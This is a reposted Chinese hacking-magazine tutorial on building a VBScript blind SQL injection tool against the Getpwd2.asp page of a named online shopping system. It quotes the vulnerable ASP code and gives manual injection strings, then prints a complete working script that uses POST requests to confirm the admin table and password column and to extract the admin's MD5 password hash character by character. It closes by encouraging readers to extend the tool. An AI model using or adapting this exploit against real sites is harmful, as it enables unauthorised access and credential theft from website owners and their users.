谈VBS在Hacking中的作用———SQL Inject中的应用 's

admin 2017年4月17日12:39:25评论204 views字数 4215阅读14分3秒阅读模式
摘要

来源:vbs空间本文,已发于《黑客手册》07年10月刊
平常我们遇到有注入漏洞一类的网站大部分人都是用NBSI Or 阿D一类的注射工具。但有的站点的注射点很难构造,或者说注射语句比较特殊。如果用手工去注射的话,费时又费力!但自己写针对性的工具的话,对一些刚入门不久或不会编程的朋友来说,实在是一件很痛苦的事情。因此今天NP给大家带来的文章就是讲如何用简单的VBS脚本来打造我们所要的注射工具。
在您继续看这篇文章之前,我先大胆的假设此时的您已经学会了VBS脚本的基础知识以及基本的SQL Inject知识。
首先,我们先来看一段有漏洞的代码。(此代码摘自“网趣网上购物系统时尚版 v3.2”的Getpwd2.asp的片段)
BTW:此漏洞乃好友Trace首先发现并提供测试的!在此表示感谢!

来源:vbs空间

本文,已发于《黑客手册》07年10月刊
平常我们遇到有注入漏洞一类的网站大部分人都是用NBSI Or 阿D一类的注射工具。但有的站点的注射点很难构造,或者说注射语句比较特殊。如果用手工去注射的话,费时又费力!但自己写针对性的工具的话,对一些刚入门不久或不会编程的朋友来说,实在是一件很痛苦的事情。因此今天NP给大家带来的文章就是讲如何用简单的VBS脚本来打造我们所要的注射工具。
在您继续看这篇文章之前,我先大胆的假设此时的您已经学会了VBS脚本的基础知识以及基本的SQL Inject知识。
首先,我们先来看一段有漏洞的代码。(此代码摘自“网趣网上购物系统时尚版 v3.2”的Getpwd2.asp的片段)
BTW:此漏洞乃好友Trace首先发现并提供测试的!在此表示感谢!

<!--#include file="conn.asp" --> <!--#include file="config.asp" --> <% username=request.form("username") set rs=Server.CreateObject("Adodb.Recordset") sql="select * from [user] where username='"&username&"' " rs.open sql,conn,1,1 If rs.eof Then %>

已知管理员表为admin 密码字段为password
有经验的朋友可以很清楚的看到第6句的SQL语句把没有经过任何过滤的Username变量,直接提交执行了。这是一个很经典的SQL Inject漏洞。那么我们如何去利用这个漏洞呢?
由于username变量是用request.form获取的,而我们知道request.form只接受POST提交上来的数据,因此我们不能像往常一样构造如下语句进行注射了。
http://127.0.0.1/getpwd2.asp?username=’ or 0<>(select count(*) from admin) and ”=’
//直接在URL地址栏输入的话,由于是GET提交数据,Getpwd2.asp是不会接收数据的。
看到这,您或许会说,那用NBSI中的POST提交功能呢?
经过测试把http://127.0.0.1/getpwd2.asp?username= 填入NBSI地址栏,使用POST提交,NBSI会说“注入破解失败”
谈VBS在Hacking中的作用———SQL Inject中的应用  's
由于语句的关系,NBSI无法帮我们跑出相关密码。阿D就不用说了,全用GET…也无法帮我们完成任务.
现在我们再测试下手工注射!
我们将如下语句填入getpwd.asp的表单中:
‘ or 0<>(select count(*) from admin) and ”=’
谈VBS在Hacking中的作用———SQL Inject中的应用  's
谈VBS在Hacking中的作用———SQL Inject中的应用  's
返回正确提示,说明我们注射成功!

OK,架设的环境已经大体分析清楚了….我们开始进入主题.
VBS的注射脚本需要用到XmlHttp组件 和ADODB.Stream组件,请确保您机器上存在这两个组件!(默认系统自带,但由于去年ADODB.Stream网页木马的事件,很多机器的ADODB.Stream组件被删除了,所以写此注射脚本时,请保证该组件可以使用)

On error resume next if (lcase(right(wscript.fullname,11))="wscript.exe") then  wscript.echo "Execute it under the cmd.exe Plz! Thx."  wscript.quit end if ‘//上面的IF语句是判断脚本执行程序是否为wscript.exe,如果是则提示对方到CMD下执行 URL=lcase(trim(Wscript.Arguments(0))) ‘//简单过滤提交参数的两边空格以及转换成全小写. RightW = "这个用户没有注册" ‘//这个是定义判断猜对与否的关键字 if url <> "" then  '猜解管理员表  data = "'+or+0<>(select+count(*)+from+admin)+and+''='"  GetHTTPPage(url)  If len(GetHTTPPage(url)) <5 then  wscript.echo "Error...Please checking the url!"  wscript.quit  end if  ‘//上面这个IF语句,主要是判断反馈信息,如果反馈信息的长度少于5,那说明提交的URL有问题,需要退出重新检查后再注射.  If Instr(GetHTTPPage(url), RightW) = 0 then  Wscript.echo "Table name ""admin"" find"  else  wscript.echo "Not found table name ...exit..."  wscript.quit  end If ‘//如果发现关键字,则报告表名猜解正确,否则退出!  '猜解密码字段  data ="'+or+0<>(select+count(password)+from+admin)+and+''='"  GetHTTPPage(url)  If Instr(GetHTTPPage(url), RightW) = 0 then  WScript.Echo ""  Wscript.echo "The Column name ""password"" find"  else  wscript.echo "Not found Column name ...exit..."  wscript.quit  End If ‘//猜解密码字段亦同!  '猜解密码  WScript.Echo ""  WScript.Echo "Start guessing,Waiting... ..."  WScript.Echo ""  pwd=""  strings="0123456789abcdef" '定义密码范围(构成md5值的主要字符)  For i=1 To 16 Step 1  wscript.echo "Guessing No. "&i&"... ..."  For k=1 To Len(strings) Step 1  data ="'+or+(select+asc(mid(password,"&i&",1))+from+admin+where+adminid=4)=asc("""&mid(strings,k,1)&""")+and+''='"  GetHTTPPage(url)  If Instr(GetHTTPPage(url), RightW) = 0 then  pwd = pwd&Mid(strings,k,1)  Exit For  End If  Next  Next ‘//此脚本之精华之处,嵌套循环猜解密码! ‘//依次取密码与构成MD5的主要16个字符的ASC值进行对比 ‘//正确则给PWD附值并跳出单循环,继续下一个猜解  wscript.echo "--------------------------------------------------------------------------------"  wscript.echo "Guessing over!!!"  If error Then  Wscript.echo "error:" & Error.Description  Error.Clear  Else  Wscript.echo "Password is:" & pwd  End if ‘//输出已经猜解成功的密码  else  wscript.echo "--------------------------------------------------------------------------------"  wscript.echo "e.g cscript getpass.vbs http://127.0.0.1/getpwd2.asp"  wscript.echo "--------------------------------------------------------------------------------"  End if ‘//以下是注射的POST提交函数 ‘//用ADODB.Stream转换编码,速度比较快,对于反馈数据多的站点比较有优势! Function GetHTTPPage(url)  dim XmlHttp  set XmlHttp=createobject("Msxml2.XMLHTTP")  XmlHttp.open "POST",url,false  xmlHttp.setRequestHeader "Content-Type","application/x-www-form-urlencoded"  XmlHttp.send("username="&data)  if XmlHttp.readystate<>4 then exit function  GetHTTPPage=Bytes2bStr(xmlHttp.responsebody)  set XmlHttp=nothing  if err.number<>0 then err.Clear End Function  Function Bytes2bStr(vin)  Dim BytesStream,StringReturn  Set BytesStream = CreateObject("ADODB.Stream")  BytesStream.Type = 2  BytesStream.Open  BytesStream.WriteText vin  BytesStream.Position = 0  BytesStream.Charset = "GB2312"  BytesStream.Position = 2  StringReturn =BytesStream.ReadText  BytesStream.close  Set BytesStream = Nothing  Bytes2bStr = StringReturn End Function

注意事项:要提交的SQL语句,空格需要用加号替换,否则在有的机器上无法猜解!
以上就是我们自己针对性打造的注射工具了.
使用方法也很简单,在CMD下执行
Cscript getpass.vbs http://127.0.0.1/getpwd2.asp 即可!
怎么样?是不是很简单呢?
您或许还会说,为什么没猜管理员的用户名字段和相关ID呢?呵呵,这就留个大家当作业吧.
您可以添加如下功能:
自动判断管理员的用户名字段
自动判断管理员的用户名所在的有效ID值
可猜解指定的ID.
更深入的过滤及检测URL是否有效.
多说无意…行动最实际! Go Go Go…开始打造你自己的注射程序吧!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月17日12:39:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   谈VBS在Hacking中的作用———SQL Inject中的应用 'shttps://cn-sec.com/archives/46809.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息